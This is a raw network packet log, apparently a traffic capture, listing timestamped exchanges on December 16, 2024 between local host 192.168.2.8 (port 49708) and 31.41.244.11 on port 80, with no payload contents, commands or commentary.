Dec 16, 2024 17:02:10.468769073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.470413923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.470465899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.470901012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.470952988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.472503901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.472552061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.472635984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.472687006 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.474508047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.474565029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.474597931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.474776030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.476527929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.476583004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.476665974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.476720095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.478571892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.478625059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.478688955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.478739023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.480868101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.480926037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.481004000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.481054068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.482753992 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.482812881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.482892990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.482939959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.484833002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.484889030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.484904051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.484952927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.486898899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.486953974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.487004042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.487052917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.489062071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.489115953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.489162922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.489272118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.491036892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.491112947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.491147041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.491193056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.493105888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.493175983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.493204117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.493251085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.495137930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.495206118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.495208025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.495253086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.497231007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.497334957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.497361898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.497375011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.499309063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.499368906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.499439955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.499490023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.501362085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.501425982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.501470089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.501526117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.503422022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.503477097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.503551006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.503602982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.505561113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.505610943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.505614996 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.505681038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.507549047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.507607937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.507637024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.507735014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.595355988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.595479012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.595570087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.596163034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.596219063 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.596301079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.596358061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.597902060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.597954988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.598506927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.598561049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.598587036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.598640919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.600480080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.600516081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.600533962 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.600559950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.601960897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.602019072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.602076054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.602124929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.603669882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.603724003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.603806973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.603856087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.605364084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.605420113 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.605420113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.605470896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.606971979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.607028008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.607104063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.607161045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.608666897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.608714104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.608721972 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.608772039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.610374928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.610431910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.610507011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.610557079 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.611856937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.611908913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.611989975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.612037897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.613442898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.613503933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.613565922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.613619089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.615956068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.615993977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.616009951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.616060972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.616801023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.616857052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.616946936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.617001057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.618298054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.618356943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.618622065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.618678093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.619673967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.619806051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.619826078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.619878054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.621633053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.621699095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.621701956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.621747971 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.622966051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.623013020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.623018980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.623064995 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.624414921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.624469995 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.624532938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.624582052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.625622988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.625683069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.625837088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.625894070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.627274990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.627327919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.627342939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.627368927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.628501892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.628560066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.628606081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.628659964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.630027056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.630080938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.630139112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.630189896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.631441116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.631491899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.631555080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.631603956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.632894039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.632946968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.633096933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.633160114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.634095907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.634147882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.634365082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.634423018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.635540009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.635608912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.635850906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.635910988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.636970997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.637027025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.637087107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.637140036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.638339996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.638391018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.638468027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.638614893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.639820099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.639878035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.639980078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.640115976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.641216993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.641275883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.641381979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.641433954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.642752886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.642812967 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.642889023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.642940998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.644094944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.644150019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.644313097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.644356012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.645544052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.645597935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.645641088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.645689964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.646962881 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.647032022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.647109032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.647159100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.648313046 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.648367882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.648386955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.648432970 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.649794102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.649849892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.649952888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.650048018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.651123047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.651205063 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.651253939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.651302099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.652800083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.652852058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.653070927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.653121948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.654001951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.654050112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.654220104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.654273987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.655420065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.655493975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.655524969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.655572891 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.656824112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.656881094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.656959057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.657007933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.658305883 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.658356905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.658392906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.658560991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.659657001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.659702063 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.659858942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.659902096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.661237955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.661355972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.661382914 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.661427975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.662534952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.662590027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.662678003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.662724972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.664108038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.664158106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.664200068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.664246082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.665467978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.665517092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.665649891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.665699959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.666790962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.666837931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.666918039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.667017937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.668309927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.668361902 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.668402910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.668446064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.669554949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.669601917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.669668913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.669712067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.670963049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.671015024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.671077013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.671159983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.672435999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.672537088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.672554970 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.672574043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.787904978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.788081884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.788204908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.788260937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.788549900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.788588047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.788594961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.788628101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.789395094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.789448977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.789464951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.789501905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.790702105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.790774107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.790791035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.790846109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.791832924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.791893959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.791953087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.792004108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.792701960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.792757988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.792844057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.792892933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.793642998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.793690920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.793754101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.793808937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.794683933 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.794733047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.794796944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.794842958 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.795845985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.795897961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.795906067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.795950890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.796971083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.797023058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.797106028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.797156096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.797998905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.798048019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.798108101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.798151970 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.799000978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.799050093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.799139977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.799185991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.800096989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.800153971 CET	49708	80	192.168.2.8	31.41.244.11
